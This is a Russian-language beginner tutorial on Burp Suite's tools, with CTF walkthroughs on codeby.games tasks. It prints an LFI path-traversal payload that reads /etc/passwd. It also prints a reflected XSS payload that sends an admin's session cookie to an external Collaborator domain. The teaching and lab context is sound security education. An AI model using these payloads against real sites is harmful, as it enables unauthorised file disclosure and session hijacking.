Burp Suite для самых маленьких

Burp Suite для самых маленьких

@fefuctf @collapsz

Введение

Всем привет! В преддверии приближающегося ивента TQL CTF предлагаю вам ознакомиться с, наверное, главным инструментом любого веб-пентестера – Burp Suite. Разберемся с функционалом как бесплатной Community Edition версии, так и с функционалом Professional. Приятного прочтения!

Знакомство с Burp Suite Community Edition

Это замечательное ПО было разработано английской компанией Portswigger и скачать его можно с их официального сайта.

После установки и запуска нас встречает окно выбора проекта – это необходимо в случае если вы работаете с затяжным проектом и вам необходимо сохранить все запросы, логи и нагрузки, которые использовались в работе. В нашем случае создадим временный проект в памяти и двинемся дальше:

Open project

Следующее окно предлагает нам загрузить конфигурацию из внешнего файла, однако мы только знакомимся с данной утилитой и в конфигах не нуждаемся. Тыкаем Start Burp и двигаемся дальше:

Load config

И вот перед нами предстал основной интерфейс программы, и встречает нас вкладка Dashboard. На данной вкладке содержится информация о текущих задачах и результаты пассивного и активного сканирования.

Dashboard

Активное и пассивное сканирование – функции Burp Suite Professional, которые в автоматическом режиме проверяют ресурсы из прокси и репитера на популярные уязвимости – LFI, PHP Injection, CMD Injection, SQL Injection и так далее:

Active Scan

Proxy. Перехват и инспекция

Перейдем к вкладке Proxy, ей пользоваться будем гораздо чаще. Прокси располагается как бы между сервером и браузером, и каждый запрос, прежде чем будет отправлен на сервер, будет проходить через "инспекцию" в прокси. За что отвечают кнопки:

Forward & Drop – отправка и отклонение перехваченных пакетов

Action – действия с пакетом

Intercept – включение/выключение перехвата пакетов

Open Browser позволяет открыть встроенный в Burp браузер – Chromium.

Proxy

Для корректной настройки перехвата пакетов заходим в Proxy Settings и создаем листенер со следующими настройками:

Proxy Listener

В итоге получаем что-то такое:

Proxy Listener

В случае, если вы не используете встроенный браузер Burp, необходимо указать прокси в настройках вашего браузера. Покажу на примере Firefox. Переходим в настройки -> настройки сети и добавляем прокси

Firefox Proxy

Для удобства можно использовать расширение Proxy Toggle или Foxy Proxy с аналогичной настройкой, чтобы включать и выключать перехват пакетов можно было по одному клику:

Proxy Toggle

Теперь любая попытка перейти на какую-либо страницу будет перехвачена, теперь мы можем редактировать запрос и управлять его содержимым:

Intercept

Repeater. Ручное тестирование

Перехватив запрос, можем отправить его в Repeater (правой кнопкой по любому месте в запросе и нажать Send to Repeater). Репитер позволяет нам отправлять запросы, редактировать их, отправлять снова, и одновременно с тем видеть ответ сервера, который он прислал на тот или иной запрос. Именно репитер наиболее часто используется для ручного подбора полезной нагрузки:

Repeater

Intruder. Автоматизированное сканирование

Аналогичным образом можно отправить запрос в Intruder. Интрудер – встроенная в Burp Suite утилита для автоматизированного тестирования. Он позволяет фаззить директории, брутфорсить учетные данные, заголовки, параметры – короче говоря, позволяет делать автоматически все то, что делать в ручную – долго и нудно. Справедливости ради, скорость работы Интрудера в бесплатной версии BS оставляет желать лучшего =)

Intruder
  1. Для работы с Интрудером необходимо перехватить интересующий запрос с, допустим, отправкой данных для авторизации:
Intercept

2. Далее выделить данные, которые будем фаззить (в данном случае пароль) и отправить запрос в интрудер. Выбрать место для фаззинга можно и в самом интрудере:

Intercept

3. Находясь в Интрудере, можем выбрать тип атаки, в рамках вводной статьи не будем останавливаться на всех из них, но их краткие описания видны на скриншоте ниже:

4. Подобрать сет нагрузок или загрузить словарь, после чего начать атаку:

Intruder

5. Ознакомиться с её результатами. Как правило, нас интересуют код и длина ответа, по ним можно судить о результатах атаки:

Results

Collaborator. Ловим отстуки

Burp Suite Professional имеет функцию Collaborator – это веб-сервис, позволяющий нам принимать входящие запросы от сервера и тестировать "слепые" уязвимости. Это такой тип уязвимости, при котором полезная нагрузка отрабатывает (например, вредоносный код выполняется удаленно) но мы не видим результата её работы – ошибок, вывода, задержек.

Collaborator

При помощи Copy to clipboard можно получить ссылку на домен коллаборатора, выглядит она вот так:

Само содержание страницы – строка случайных символов

Collaborator Page

Но важно здесь не столько содержание, сколько тот факт, что посещение этой веб-страницы кем угодно отражается в самом Коллабораторе:

Collaborator Monitor

При помощи этого инструмента, как я уже сказал, можно выявлять Blind уязвимости, тестировать и принимать редиректы от XSS.

Decoder. Без лишних слов :)

Декодер позволяет работать с кодировками – URL, base64, HTML, а так же с хешами, их здесь тоже сполна:

Decoder

Comparer. Сравнение

Comparer позволяет сравнивать между собой пакеты по словам/байтам. Он подсвечивает разницу, чтобы увидеть её было проще

Comparer

Logger. Логи да и только

Logger

Логгер содержит историю отправленных запросов. Бывает полезно, если закрыли нужный запрос с репитере и нужно снова к нему вернуться.

Это весь весь базовый, но не далеко полный функционал Burp Suite, необходимый для знакомства с этим замечательным инструментом.

Предлагаю ознакомиться со всеми этими инструментами на паре практических задач

Обычная страница. Local File Inclusion

Рассмотрим задачку Regular Page с codeby.games

Regular Page

Заходим на страницу, сразу видим код приложения и можем сделать вывод, что он уязвим к LFI.

О сервер-сайд уязвимостях поговорим подробнее в рамках другой статьи, если в кратце, то:

LFI позволяет нам получить доступ к системным файлам и каталогам путем манипуляции с HTTP-запросом при помощи добавления символов '../' для перемещения на директорию выше

Откроем картинку в новой вкладке, сразу обращаем внимание на путь – /static?file=rikka.gif.

Image LFI

Теперь же включаем прокси в браузере, включаем Intercept в Burp Suite и обновляем страницу:

Proxy

Запрос перехвачен

Repeater

Нажав правой кнопкой в любом месте запроса, отправляем его в Repeater:

Send to Repeater

Вручную заменяем rikka.gif на нагрузку '../../../../etc/passwd' – получаем доступ к файлу /etc/passwd на атакуемой машине.

Доступ к /etc/passwd

Intruder

Вернемся на вкладку Proxy, выделим уязвимое место и тыкнем Send to Intruder:

Send to Intruder

В окне Интрудера видим, что на уязвимую позицию встали маркеры полезной нагрузки:

Payload Markers

Загружаем словарь во вкладке Payloads:

Начинаем атаку. Интрудер пройдется по списку, подставит каждое значение из него на место маркеров и отправит получившийся запрос. По длине ответа на него можно сделать выводы о содержимом, о успехе/неудаче в проведении атаки:

Intruder Attack

Проверив запросы с более длинными ответами, можем увидеть все то же содержимое /etc/passwd:

Доступ к /etc/passwd

В контексте LFI стоит сказать, что существует огромное количество словарей для фаззинга файлов, среди которых может быть что-то необычное. Пример такого фаззинга можно найти в статье по разбору комнаты Airplane с THM.

Logger

Ну а Логгер, как я и говорил, содержит всю историю отправленных запросов:

Logger

Collaborator. The customer is always right

Работу с Коллаборатором рассмотрим на примере другой задачки с все той же платформы.

The customer is always right

На странице задания видим список публикаций

Publications

Здесь же видим возможность отправить репорт на публикацию, который потом проверит администратор:

Report

Видно, что репорт целиком реализован через GET-запрос:

http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?publication=ilon-mask

В данном случае мы имеем дело с клиент-сайд уязвимостью – Reflected XSS. О клиент-сайде мы тоже поговорим в другой статье =) Для понимания того, что будет происходить в задании:

XSS – cross-site scripting – атака, позволяющая нам выполнять код на стороне клиента. Наиболее желаемая цель такой атаки – сессионный идентификатор жертвы, проще говоря – сессионная кука (cookie)

Подбираем нагрузку с ресурса Payload All the Things:

<script>document.write('<img src="collaborator.url?c='+document.cookie+'"/>')</script>

Далее копируем домен коллаборатора, в моем случае это:

6elraekzl2cl3epd8euzkj3gu70youcj.oastify.com

Собираем полезную нагрузку:

http://62.173.140.174:16013/?report=http://62.173.140.174:16013/?search=<script>document.write('<img src="6elraekzl2cl3epd8euzkj3gu70youcj.oastify.com
?c='+document.cookie+'"/>')</script>

Далее закодируем всю нагрузку в URL при помощи Decoder:

Decoder

Отправляем админу репорт на домен нашего Коллаборатора с параметром 'c', который принимает значение document.cookie – куки админа.

Проверяем Коллаборатор:

Collaborator

Видим, что прилетел отстук – админ перешел по вредоносной ссылке, а мы получили его куки, проэксплуатировав Reflected XSS и получив результат на домен Коллаборатора.

В качестве бесплатных альтернатив Коллаборатору можно использовать ресурсы webhook и interact

Заключение

Burp Suite – очень мощный инструмент для тестирования на проникновение веб-приложений и его функционал выходит далеко за рамки того, что было представлено в данном материале – работа с расширениями, плагины для более глубокого сканирования, подбора нагрузки и многое, многое другое!

Продемонстрированного здесь функционала будет достаточно для первого знакомства с этой утилитой, а дальше все в ваших руках!

Материалы для практики и самостоятельного изучения:

Portswigger – Burp Suite

Хабр – Burp Suite

Report Page